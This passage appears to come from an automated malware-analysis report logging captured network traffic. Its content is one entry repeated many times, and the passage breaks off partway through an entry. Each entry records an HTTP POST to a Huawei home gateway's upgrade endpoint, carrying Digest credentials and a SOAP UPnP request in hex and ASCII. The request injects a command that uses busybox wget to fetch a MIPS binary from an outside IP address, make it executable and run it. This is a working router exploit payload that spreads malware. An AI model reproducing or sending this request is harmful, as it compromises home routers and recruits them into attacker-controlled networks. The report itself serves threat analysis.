43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 